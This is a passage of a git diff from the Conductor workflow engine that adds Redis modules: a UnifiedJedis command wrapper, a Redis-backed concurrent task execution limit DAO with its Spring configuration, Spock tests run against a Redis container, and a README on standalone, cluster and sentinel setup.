    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.function.Function; + +import redis.clients.jedis.UnifiedJedis; +import redis.clients.jedis.params.ScanParams; +import redis.clients.jedis.params.SetParams; +import redis.clients.jedis.params.ZAddParams; +import redis.clients.jedis.resps.ScanResult; +import redis.clients.jedis.resps.Tuple; + +/** Do NOT use it for the cluster commands */ +public class UnifiedJedisCommands implements JedisCommands { + + private final UnifiedJedis unifiedJedis; + + public UnifiedJedisCommands(UnifiedJedis unifiedJedis) { + this.unifiedJedis = unifiedJedis; + } + + private R executeInJedis(Function function) { + return function.apply(unifiedJedis); + } + + @Override + public String set(String key, String value) { + return executeInJedis(jedis -> jedis.set(key, value)); + } + + @Override + public String set(String key, String value, SetParams params) { + return executeInJedis(jedis -> jedis.set(key, value, params)); + } + + @Override + public String set(byte[] key, byte[] value, SetParams params) { + return executeInJedis(jedis -> jedis.set(key, value, params)); + } + + @Override + public String get(String key) { + return executeInJedis(jedis -> jedis.get(key)); + } + + public List mget(String... keys) { + return executeInJedis(jedis -> jedis.mget(keys)); + } + + @Override + public List mgetBytes(byte[]... keys) { + return executeInJedis(jedis -> jedis.mget(keys)); + } + + @Override + public Boolean exists(String key) { + return executeInJedis(jedis -> jedis.exists(key)); + } + + @Override + public Long persist(String key) { + return executeInJedis(jedis -> jedis.persist(key)); + } + + @Override + public Long expire(String key, long seconds) { + return executeInJedis(jedis -> jedis.expire(key, seconds)); + } + + @Override + public Long ttl(String key) { + return executeInJedis(jedis -> jedis.ttl(key)); + } + + @Override + public Long setnx(String key, String value) { + return executeInJedis(jedis -> jedis.setnx(key, value)); + } + + @Override + public Long incrBy(String key, long increment) { + return executeInJedis(jedis -> jedis.incrBy(key, increment)); + } + + @Override + public Long hset(String key, String field, String value) { + return executeInJedis(jedis -> jedis.hset(key, field, value)); + } + + @Override + public Long hset(String key, Map hash) { + return executeInJedis(jedis -> jedis.hset(key, hash)); + } + + @Override + public String hget(String key, String field) { + return executeInJedis(jedis -> jedis.hget(key, field)); + } + + @Override + public Long hsetnx(String key, String field, String value) { + return executeInJedis(jedis -> jedis.hsetnx(key, field, value)); + } + + @Override + public Long hincrBy(String key, String field, long value) { + return executeInJedis(jedis -> jedis.hincrBy(key, field, value)); + } + + @Override + public Boolean hexists(String key, String field) { + return executeInJedis(jedis -> jedis.hexists(key, field)); + } + + @Override + public Long hdel(String key, String... field) { + return executeInJedis(jedis -> jedis.hdel(key, field)); + } + + @Override + public Long hlen(String key) { + return executeInJedis(jedis -> jedis.hlen(key)); + } + + @Override + public List hvals(String key) { + return executeInJedis(jedis -> jedis.hvals(key)); + } + + @Override + public Long sadd(String key, String... member) { + return executeInJedis(jedis -> jedis.sadd(key, member)); + } + + @Override + public Set smembers(String key) { + return executeInJedis(jedis -> jedis.smembers(key)); + } + + @Override + public Long srem(String key, String... member) { + return executeInJedis(jedis -> jedis.srem(key, member)); + } + + @Override + public Long scard(String key) { + return executeInJedis(jedis -> jedis.scard(key)); + } + + @Override + public Boolean sismember(String key, String member) { + return executeInJedis(jedis -> jedis.sismember(key, member)); + } + + @Override + public Long zadd(String key, double score, String member) { + return executeInJedis(jedis -> jedis.zadd(key, score, member)); + } + + @Override + public Long zadd(String key, Map scores) { + return executeInJedis(jedis -> jedis.zadd(key, scores)); + } + + @Override + public Long zadd(String key, double score, String member, ZAddParams params) { + return executeInJedis(jedis -> jedis.zadd(key, score, member, params)); + } + + @Override + public List zrange(String key, long start, long stop) { + return executeInJedis(jedis -> jedis.zrange(key, start, stop)); + } + + @Override + public Long zrem(String key, String... members) { + return executeInJedis(jedis -> jedis.zrem(key, members)); + } + + @Override + public List zrangeWithScores(String key, long start, long stop) { + return executeInJedis(jedis -> jedis.zrangeWithScores(key, start, stop)); + } + + @Override + public Long zcard(String key) { + return executeInJedis(jedis -> jedis.zcard(key)); + } + + @Override + public Long zcount(String key, double min, double max) { + return executeInJedis(jedis -> jedis.zcount(key, min, max)); + } + + @Override + public Double zscore(String key, String member) { + return executeInJedis(jedis -> jedis.zscore(key, member)); + } + + @Override + public List zrangeByScore(String key, double min, double max) { + return executeInJedis(jedis -> jedis.zrangeByScore(key, min, max)); + } + + @Override + public List zrangeByScore(String key, double min, double max, int offset, int count) { + return executeInJedis(jedis -> jedis.zrangeByScore(key, min, max, offset, count)); + } + + @Override + public List zrangeByScoreWithScores(String key, double min, double max) { + return executeInJedis(jedis -> jedis.zrangeByScoreWithScores(key, min, max)); + } + + @Override + public Long zremrangeByScore(String key, String min, String max) { + return executeInJedis(jedis -> jedis.zremrangeByScore(key, min, max)); + } + + @Override + public Long del(String key) { + return executeInJedis(jedis -> jedis.del(key)); + } + + @Override + public Long llen(String key) { + return executeInJedis(jedis -> jedis.llen(key)); + } + + @Override + public Long rpush(String key, String... values) { + return executeInJedis(jedis -> jedis.rpush(key, values)); + } + + @Override + public List lrange(String key, long start, long end) { + return executeInJedis(jedis -> jedis.lrange(key, start, end)); + } + + @Override + public String ltrim(String key, long start, long end) { + return executeInJedis(jedis -> jedis.ltrim(key, start, end)); + } + + @Override + public ScanResult> hscan(String key, String cursor) { + return executeInJedis(jedis -> jedis.hscan(key, cursor)); + } + + @Override + public ScanResult> hscan( + String key, String cursor, ScanParams params) { + return executeInJedis(jedis -> jedis.hscan(key, cursor, params)); + } + + @Override + public ScanResult sscan(String key, String cursor) { + return executeInJedis(jedis -> jedis.sscan(key, cursor)); + } + + @Override + public ScanResult scan(String keyPrefix, String cursor, int count) { + final ScanParams params = new ScanParams().count(count).match(keyPrefix); + return executeInJedis(jedis -> jedis.scan(cursor, params)); + } + + @Override + public ScanResult zscan(String key, String cursor) { + return executeInJedis(jedis -> jedis.zscan(key, cursor)); + } + + @Override + public ScanResult sscan(String key, String cursor, ScanParams params) { + return executeInJedis(jedis -> jedis.sscan(key, cursor, params)); + } + + @Override + public String set(byte[] key, byte[] value) { + return executeInJedis(jedis -> jedis.set(key, value)); + } + + @Override + public void mset(byte[]... keyvalues) { + executeInJedis(jedis -> jedis.mset(keyvalues)); + } + + @Override + public byte[] getBytes(byte[] key) { + return executeInJedis(jedis -> jedis.get(key)); + } + + @Override + public Object evalsha(String sha1, List keys, List args) { + return unifiedJedis.evalsha(sha1, keys, args); + } + + @Override + public Object evalsha(byte[] sha1, List keys, List args) { + return unifiedJedis.evalsha(sha1, keys, args); + } + + @Override + public byte[] scriptLoad(byte[] script, byte[] sampleKey) { + return unifiedJedis.scriptLoad(script, sampleKey); + } + + @Override + public String info(String command) { + return unifiedJedis.info(command); + } + + @Override + public int waitReplicas(String key, int replicas, long timeoutInMillis) { + // Nothing to replicate + return replicas; + } + + @Override + public String ping() { + return unifiedJedis.ping(); + } +} diff --git a/redis-concurrency-limit/build.gradle b/redis-concurrency-limit/build.gradle new file mode 100644 index 0000000..54a2b6b --- /dev/null +++ b/redis-concurrency-limit/build.gradle @@ -0,0 +1,22 @@ +plugins { + id 'groovy' +} + +dependencies { + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.data:spring-data-redis' + + implementation project(':conductor-common') + implementation project(':conductor-core') + // PINNED (#964): revJedis (6.0.0) does not work with Spring Data Redis in this module. + implementation "redis.clients:jedis:3.6.0" + implementation "org.apache.commons:commons-lang3" + + testImplementation "org.apache.groovy:groovy-all:${revGroovy}" + testImplementation "org.spockframework:spock-core:${revSpock}" + testImplementation "org.spockframework:spock-spring:${revSpock}" + testImplementation "org.testcontainers:spock:${revTestContainer}" + testImplementation "org.testcontainers:testcontainers:${revTestContainer}" + testImplementation "com.google.protobuf:protobuf-java:${revProtoBuf}" + testImplementation 'org.springframework.data:spring-data-redis:2.7.16' +} diff --git a/redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/RedisConcurrentExecutionLimitDAO.java b/redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/RedisConcurrentExecutionLimitDAO.java new file mode 100644 index 0000000..7107227 --- /dev/null +++ b/redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/RedisConcurrentExecutionLimitDAO.java @@ -0,0 +1,173 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.limit; + +import java.util.Optional; + +import org.apache.commons.lang3.ObjectUtils; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.data.redis.core.StringRedisTemplate; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.dao.ConcurrentExecutionLimitDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.redis.limit.config.RedisConcurrentExecutionLimitProperties; + +@Trace +@Component +@ConditionalOnProperty( + value = "conductor.redis-concurrent-execution-limit.enabled", + havingValue = "true") +public class RedisConcurrentExecutionLimitDAO implements ConcurrentExecutionLimitDAO { + + private static final Logger LOGGER = + LoggerFactory.getLogger(RedisConcurrentExecutionLimitDAO.class); + private static final String CLASS_NAME = RedisConcurrentExecutionLimitDAO.class.getSimpleName(); + + private final StringRedisTemplate stringRedisTemplate; + private final RedisConcurrentExecutionLimitProperties properties; + + public RedisConcurrentExecutionLimitDAO( + StringRedisTemplate stringRedisTemplate, + RedisConcurrentExecutionLimitProperties properties) { + this.stringRedisTemplate = stringRedisTemplate; + this.properties = properties; + } + + /** + * Adds the {@link TaskModel} identifier to a Redis Set for the {@link TaskDef}'s name. + * + * @param task The {@link TaskModel} object. + */ + @Override + public void addTaskToLimit(TaskModel task) { + try { + Monitors.recordDaoRequests( + CLASS_NAME, "addTaskToLimit", task.getTaskType(), task.getWorkflowType()); + String taskId = task.getTaskId(); + String taskDefName = task.getTaskDefName(); + String keyName = createKeyName(taskDefName); + + stringRedisTemplate.opsForSet().add(keyName, taskId); + + LOGGER.debug("Added taskId: {} to key: {}", taskId, keyName); + } catch (Exception e) { + Monitors.error(CLASS_NAME, "addTaskToLimit"); + String errorMsg = + String.format( + "Error updating taskDefLimit for task - %s:%s in workflow: %s", + task.getTaskDefName(), task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + /** + * Remove the {@link TaskModel} identifier from the Redis Set for the {@link TaskDef}'s name. + * + * @param task The {@link TaskModel} object. + */ + @Override + public void removeTaskFromLimit(TaskModel task) { + try { + Monitors.recordDaoRequests( + CLASS_NAME, "removeTaskFromLimit", task.getTaskType(), task.getWorkflowType()); + String taskId = task.getTaskId(); + String taskDefName = task.getTaskDefName(); + + String keyName = createKeyName(taskDefName); + + stringRedisTemplate.opsForSet().remove(keyName, taskId); + + LOGGER.debug("Removed taskId: {} from key: {}", taskId, keyName); + } catch (Exception e) { + Monitors.error(CLASS_NAME, "removeTaskFromLimit"); + String errorMsg = + String.format( + "Error updating taskDefLimit for task - %s:%s in workflow: %s", + task.getTaskDefName(), task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + /** + * Checks if the {@link TaskModel} identifier is in the Redis Set and size of the set is more + * than the {@link TaskDef#concurrencyLimit()}. + * + * @param task The {@link TaskModel} object. + * @return true if the task id is not in the set and size of the set is more than the {@link + * TaskDef#concurrencyLimit()}. + */ + @Override + public boolean exceedsLimit(TaskModel task) { + Optional taskDefinition = task.getTaskDefinition(); + if (taskDefinition.isEmpty()) { + return false; + } + int limit = taskDefinition.get().concurrencyLimit(); + if (limit <= 0) { + return false; + } + + try { + Monitors.recordDaoRequests( + CLASS_NAME, "exceedsLimit", task.getTaskType(), task.getWorkflowType()); + String taskId = task.getTaskId(); + String taskDefName = task.getTaskDefName(); + String keyName = createKeyName(taskDefName); + + boolean isMember = + ObjectUtils.defaultIfNull( + stringRedisTemplate.opsForSet().isMember(keyName, taskId), false); + long size = + ObjectUtils.defaultIfNull(stringRedisTemplate.opsForSet().size(keyName), -1L); + + LOGGER.debug( + "Task: {} is {} of {}, size: {} and limit: {}", + taskId, + isMember ? "a member" : "not a member", + keyName, + size, + limit); + + return !isMember && size >= limit; + } catch (Exception e) { + Monitors.error(CLASS_NAME, "exceedsLimit"); + String errorMsg = + String.format( + "Failed to get in progress limit - %s:%s in workflow :%s", + task.getTaskDefName(), task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + private String createKeyName(String taskDefName) { + StringBuilder builder = new StringBuilder(); + String namespace = properties.getNamespace(); + + if (StringUtils.isNotBlank(namespace)) { + builder.append(namespace).append(':'); + } + + return builder.append(taskDefName).toString(); + } +} diff --git a/redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/config/RedisConcurrentExecutionLimitConfiguration.java b/redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/config/RedisConcurrentExecutionLimitConfiguration.java new file mode 100644 index 0000000..5abf763 --- /dev/null +++ b/redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/config/RedisConcurrentExecutionLimitConfiguration.java @@ -0,0 +1,70 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.limit.config; + +import java.util.List; + +import org.apache.commons.pool2.impl.GenericObjectPoolConfig; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.data.redis.connection.RedisClusterConfiguration; +import org.springframework.data.redis.connection.RedisConnectionFactory; +import org.springframework.data.redis.connection.RedisStandaloneConfiguration; +import org.springframework.data.redis.connection.jedis.JedisClientConfiguration; +import org.springframework.data.redis.connection.jedis.JedisConnectionFactory; + +@Configuration +@ConditionalOnProperty( + value = "conductor.redis-concurrent-execution-limit.enabled", + havingValue = "true") +@EnableConfigurationProperties(RedisConcurrentExecutionLimitProperties.class) +public class RedisConcurrentExecutionLimitConfiguration { + + @Bean + @ConditionalOnProperty( + value = "conductor.redis-concurrent-execution-limit.type", + havingValue = "cluster") + public RedisConnectionFactory redisClusterConnectionFactory( + RedisConcurrentExecutionLimitProperties properties) { + GenericObjectPoolConfig poolConfig = new GenericObjectPoolConfig<>(); + poolConfig.setMaxTotal(properties.getMaxConnectionsPerHost()); + poolConfig.setTestWhileIdle(true); + JedisClientConfiguration clientConfig = + JedisClientConfiguration.builder() + .usePooling() + .poolConfig(poolConfig) + .and() + .clientName(properties.getClientName()) + .build(); + + RedisClusterConfiguration redisClusterConfiguration = + new RedisClusterConfiguration( + List.of(properties.getHost() + ":" + properties.getPort())); + + return new JedisConnectionFactory(redisClusterConfiguration, clientConfig); + } + + @Bean + @ConditionalOnProperty( + value = "conductor.redis-concurrent-execution-limit.type", + havingValue = "standalone", + matchIfMissing = true) + public RedisConnectionFactory redisStandaloneConnectionFactory( + RedisConcurrentExecutionLimitProperties properties) { + RedisStandaloneConfiguration config = + new RedisStandaloneConfiguration(properties.getHost(), properties.getPort()); + return new JedisConnectionFactory(config); + } +} diff --git a/redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/config/RedisConcurrentExecutionLimitProperties.java b/redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/config/RedisConcurrentExecutionLimitProperties.java new file mode 100644 index 0000000..be7ab34 --- /dev/null +++ b/redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/config/RedisConcurrentExecutionLimitProperties.java @@ -0,0 +1,94 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.limit.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.redis-concurrent-execution-limit") +public class RedisConcurrentExecutionLimitProperties { + + public enum RedisType { + STANDALONE, + CLUSTER + } + + private RedisType type; + + private String host; + + private int port; + + private String password; + + private int maxConnectionsPerHost; + + private String clientName; + + private String namespace = "conductor"; + + public RedisType getType() { + return type; + } + + public void setType(RedisType type) { + this.type = type; + } + + public int getMaxConnectionsPerHost() { + return maxConnectionsPerHost; + } + + public void setMaxConnectionsPerHost(int maxConnectionsPerHost) { + this.maxConnectionsPerHost = maxConnectionsPerHost; + } + + public String getClientName() { + return clientName; + } + + public void setClientName(String clientName) { + this.clientName = clientName; + } + + public String getHost() { + return host; + } + + public void setHost(String host) { + this.host = host; + } + + public int getPort() { + return port; + } + + public void setPort(int port) { + this.port = port; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public String getNamespace() { + return namespace; + } + + public void setNamespace(String namespace) { + this.namespace = namespace; + } +} diff --git a/redis-concurrency-limit/src/test/groovy/com/netflix/conductor/redis/limit/RedisConcurrentExecutionLimitDAOSpec.groovy b/redis-concurrency-limit/src/test/groovy/com/netflix/conductor/redis/limit/RedisConcurrentExecutionLimitDAOSpec.groovy new file mode 100644 index 0000000..e768a4a --- /dev/null +++ b/redis-concurrency-limit/src/test/groovy/com/netflix/conductor/redis/limit/RedisConcurrentExecutionLimitDAOSpec.groovy @@ -0,0 +1,172 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.limit + +import org.springframework.data.redis.connection.RedisStandaloneConfiguration +import org.springframework.data.redis.connection.jedis.JedisConnectionFactory +import org.springframework.data.redis.core.StringRedisTemplate +import org.testcontainers.containers.GenericContainer +import org.testcontainers.spock.Testcontainers + +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.model.TaskModel +import com.netflix.conductor.redis.limit.config.RedisConcurrentExecutionLimitProperties + +import spock.lang.Specification +import spock.lang.Subject +import spock.lang.Unroll + +@Testcontainers +class RedisConcurrentExecutionLimitDAOSpec extends Specification { + + GenericContainer redis = new GenericContainer("redis:5.0.3-alpine") + .withExposedPorts(6379) + + @Subject + RedisConcurrentExecutionLimitDAO dao + + StringRedisTemplate redisTemplate + + RedisConcurrentExecutionLimitProperties properties + + def setup() { + properties = new RedisConcurrentExecutionLimitProperties(namespace: 'conductor') + def factory = new JedisConnectionFactory(new RedisStandaloneConfiguration(redis.host, redis.firstMappedPort)) + factory.afterPropertiesSet() + redisTemplate = new StringRedisTemplate(factory) + dao = new RedisConcurrentExecutionLimitDAO(redisTemplate, properties) + } + + def "verify addTaskToLimit adds the taskId to the right set"() { + given: + def taskId = 'task1' + def taskDefName = 'task_def_name1' + def keyName = "${properties.namespace}:$taskDefName" as String + + TaskModel task = new TaskModel(taskId: taskId, taskDefName: taskDefName) + + when: + dao.addTaskToLimit(task) + + then: + redisTemplate.hasKey(keyName) + redisTemplate.opsForSet().size(keyName) == 1 + redisTemplate.opsForSet().isMember(keyName, taskId) + } + + def "verify removeTaskFromLimit removes the taskId from the right set"() { + given: + def taskId = 'task1' + def taskDefName = 'task_def_name1' + def keyName = "${properties.namespace}:$taskDefName" as String + + redisTemplate.opsForSet().add(keyName, taskId) + + TaskModel task = new TaskModel(taskId: taskId, taskDefName: taskDefName) + + when: + dao.removeTaskFromLimit(task) + + then: + !redisTemplate.hasKey(keyName) // since the only element in the set is removed, Redis removes the set + } + + @Unroll + def "verify exceedsLimit returns false for #testCase"() { + given: + def taskId = 'task1' + def taskDefName = 'task_def_name1' + + TaskModel task = new TaskModel(taskId: taskId, taskDefName: taskDefName, workflowTask: workflowTask) + + when: + def retVal = dao.exceedsLimit(task) + + then: + !retVal + + where: + workflowTask << [new WorkflowTask(taskDefinition: null), new WorkflowTask(taskDefinition: new TaskDef(concurrentExecLimit: -2))] + testCase << ['a task with no TaskDefinition', 'TaskDefinition with concurrentExecLimit is less than 0'] + } + + def "verify exceedsLimit returns false for tasks less than concurrentExecLimit"() { + given: + def taskId = 'task1' + def taskDefName = 'task_def_name1' + def keyName = "${properties.namespace}:$taskDefName" as String + + TaskModel task = new TaskModel(taskId: taskId, taskDefName: taskDefName, workflowTask: new WorkflowTask(taskDefinition: new TaskDef(concurrentExecLimit: 2))) + + redisTemplate.opsForSet().add(keyName, taskId) + + when: + def retVal = dao.exceedsLimit(task) + + then: + !retVal + } + + def "verify exceedsLimit returns false for taskId already in the set but more than concurrentExecLimit"() { + given: + def taskId = 'task1' + def taskDefName = 'task_def_name1' + def keyName = "${properties.namespace}:$taskDefName" as String + + TaskModel task = new TaskModel(taskId: taskId, taskDefName: taskDefName, workflowTask: new WorkflowTask(taskDefinition: new TaskDef(concurrentExecLimit: 2))) + + redisTemplate.opsForSet().add(keyName, taskId) // add the id of the task passed as argument to exceedsLimit + redisTemplate.opsForSet().add(keyName, 'taskId2') + + when: + def retVal = dao.exceedsLimit(task) + + then: + !retVal + } + + def "verify exceedsLimit returns true for a new taskId more than concurrentExecLimit"() { + given: + def taskId = 'task1' + def taskDefName = 'task_def_name1' + def keyName = "${properties.namespace}:$taskDefName" as String + + TaskModel task = new TaskModel(taskId: taskId, taskDefName: taskDefName, workflowTask: new WorkflowTask(taskDefinition: new TaskDef(concurrentExecLimit: 2))) + + // add task ids different from the id of the task passed to exceedsLimit + redisTemplate.opsForSet().add(keyName, 'taskId2') + redisTemplate.opsForSet().add(keyName, 'taskId3') + + when: + def retVal = dao.exceedsLimit(task) + + then: + retVal + } + + def "verify createKeyName ignores namespace if its not present"() { + given: + def dao = new RedisConcurrentExecutionLimitDAO(null, conductorProperties) + + when: + def keyName = dao.createKeyName('taskdefname') + + then: + keyName == expectedKeyName + + where: + conductorProperties << [new RedisConcurrentExecutionLimitProperties(), new RedisConcurrentExecutionLimitProperties(namespace: null), new RedisConcurrentExecutionLimitProperties(namespace: 'test')] + expectedKeyName << ['conductor:taskdefname', 'taskdefname', 'test:taskdefname'] + } +} diff --git a/redis-configuration/README.md b/redis-configuration/README.md new file mode 100644 index 0000000..3115b9e --- /dev/null +++ b/redis-configuration/README.md @@ -0,0 +1,124 @@ +# Redis Configuration Module + +Redis connection and configuration layer for Conductor. Provides the `JedisCommands` abstraction, connection pooling, Spring auto-configuration, and pool monitoring. Supports three deployment topologies: standalone, cluster, and sentinel. + +This module is a dependency of `redis-persistence` (DAOs) and `queues`. If you only need a Redis connection without the DAO layer, depend on this module directly. + +## Deployment Modes + +Set `conductor.db.type` to activate a Redis mode: + +| Value | Mode | Configuration Class | Jedis Client | +|---|---|---|---| +| `redis_standalone` | Single node | `RedisStandaloneConfiguration` | `JedisPooled` | +| `redis_cluster` | Cluster (sharded) | `RedisClusterConfiguration` | `JedisCluster` | +| `redis_sentinel` | Sentinel (HA failover) | `RedisSentinelConfiguration` | `JedisSentineled` | + +## Quick Start + +### Standalone + +```properties +conductor.db.type=redis_standalone +conductor.redis.hosts=localhost:6379:us-east-1c +``` + +### Cluster + +```properties +conductor.db.type=redis_cluster +conductor.redis.hosts=node1:6379:us-east-1a;node2:6379:us-east-1b;node3:6379:us-east-1c +``` + +### Sentinel + +```properties +conductor.db.type=redis_sentinel +conductor.redis.hosts=sentinel1:26379:us-east-1a;sentinel2:26379:us-east-1b;sentinel3:26379:us-east-1c +conductor.redis.sentinel-master-name=mymaster +``` + +## Host Format + +The `conductor.redis.hosts` property uses a semicolon-separated format: + +``` +host:port:rack[:password] +``` + +- **host** - hostname or IP +- **port** - Redis port (6379 for data nodes, 26379 for sentinel nodes) +- **rack** - availability zone / rack identifier (e.g., `us-east-1a`) +- **password** - (optional) Redis AUTH password + +Multiple hosts are separated by `;`: + +```properties +conductor.redis.hosts=host1:6379:rack1:secret;host2:6379:rack2:secret +``` + +## Configuration Properties + +All properties are prefixed with `conductor.redis.`. + +### Connection + +| Property | Description | Default | +|---|---|---| +| `hosts` | Host definitions (see format above) | *required* | +| `user` | Redis ACL username | none | +| `ssl` | Enable TLS | `false` | +| `ignore-ssl` | Trust all certificates (cluster mode only, for dev/test) | `false` | +| `database` | Redis database number (0-15, standalone/sentinel only) | `0` | +| `sentinel-master-name` | Sentinel master name (sentinel mode only) | `mymaster` | + +### Connection Pool + +| Property | Description | Default | +|---|---|---| +| `max-connections-per-host` | Maximum total connections in the pool | `10` | +| `max-idle-connections` | Maximum idle connections | `8` | +| `min-idle-connections` | Minimum idle connections maintained | `5` | +| `min-evictable-idle-time-millis` | Time before an idle connection can be evicted | `180000` | +| `time-between-eviction-runs-millis` | Interval between eviction runs | `60000` | +| `test-while-idle` | Validate idle connections | `true` | +| `fairness` | Use fair ordering for connection acquisition | `true` | +| `max-timeout-when-exhausted` | Max wait for a connection when pool is exhausted | `800ms` | + +### Cluster-Specific + +| Property | Description | Default | +|---|---|---| +| `max-total-retries-duration` | Maximum total retry duration for cluster operations | `10000ms` | + +## Architecture + +### `config` package + +- **`RedisConfiguration`** - Abstract base. Creates the `UnifiedJedis` bean and runs a pool monitor thread that publishes connection metrics every 10 seconds. +- **`RedisStandaloneConfiguration`** - Creates a `JedisPooled` instance. +- **`RedisClusterConfiguration`** - Creates a `JedisCluster` instance. Supports `ignore-ssl` for trust-all TLS in dev environments. +- **`RedisSentinelConfiguration`** - Creates a `JedisSentineled` instance. Sentinel nodes reuse the configured auth and SSL settings so existing secured Sentinel deployments continue to work. +- **`RedisProperties`** - Spring Boot `@ConfigurationProperties` binding for all `conductor.redis.*` properties. +- **`ConfigurationHostSupplier`** - Parses the `hosts` string into `Host` objects. +- **`AnyRedisCondition`** - Spring condition that matches when `conductor.db.type` is any Redis variant. +- **`AnyRedisConnectionCondition`** - Matches when Redis is used for either `conductor.db.type` or `conductor.queue.type`. + +### `jedis` package + +- **`JedisCommands`** - Interface abstracting Redis operations across all deployment modes. +- **`UnifiedJedisCommands`** - Implementation backed by `UnifiedJedis` (used by standalone and sentinel modes). +- **`JedisClusterCommands`** - Implementation backed by `JedisCluster`. Batch operations (`mget`, `mgetBytes`, `mset`) use `ClusterPipeline` for cross-shard efficiency. +- **`JedisStandalone`** - Legacy implementation backed by `JedisPool`. Retained for test compatibility. +- **`OrkesJedisProxy`** - Spring-managed proxy over `JedisCommands`. Adds convenience methods (`hgetAll`, `findAll`, `setWithExpiry`, etc.), scan-based iteration, and metrics instrumentation. + +## Pool Monitoring + +All modes publish Redis connection pool metrics every 10 seconds via a daemon thread: + +- `conductor_redis_connection_active` - active connections +- `conductor_redis_connection_waiting` - threads waiting for a connection +- `conductor_redis_connection_mean_borrow_wait_time` - average time to acquire a connection +- `conductor_redis_connection_max_borrow_wait_time` - worst-case connection acquisition time + +The monitor is automatically shut down on Spring context close. diff --git a/redis-configuration/build.gradle b/redis-configuration/build.gradle new file mode 100644 index 0000000..2ec66d7 --- /dev/null +++ b/redis-configuration/build.gradle @@ -0,0 +1,27 @@ +dependencies { + implementation project(':conductor-core') + + implementation 'org.springframework.boot:spring-boot-starter' + implementation 'org.springframework.boot:spring-boot-autoconfigure' + + implementation project(':conductor-redis-api') + + //Micrometer + implementation "io.micrometer:micrometer-core:${revMicrometer}" + + //Commons + implementation "org.apache.commons:commons-lang3:" + implementation "org.apache.commons:commons-pool2:" + + //Apache HTTP Client 5 (SSL support for Redis Cluster) + implementation "org.apache.httpcomponents.client5:httpclient5:${revApacheHttpComponentsClient5}" + + //Jakarta + //implementation "jakarta.annotation:jakarta.annotation-api:${revJakartaAnnotation}" + + //Test + testCompileOnly 'org.projectlombok:lombok:1.18.42' + testImplementation 'org.springframework.boot:spring-boot-test' + testImplementation "org.testcontainers:testcontainers:${revTestContainer}" + testImplementation "com.google.guava:guava:${revGuava}" +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/AnyRedisCondition.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/AnyRedisCondition.java new file mode 100644 index 0000000..8cfd854 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/AnyRedisCondition.java @@ -0,0 +1,35 @@ +/* + * Copyright 2020 Conductor Authors. + *

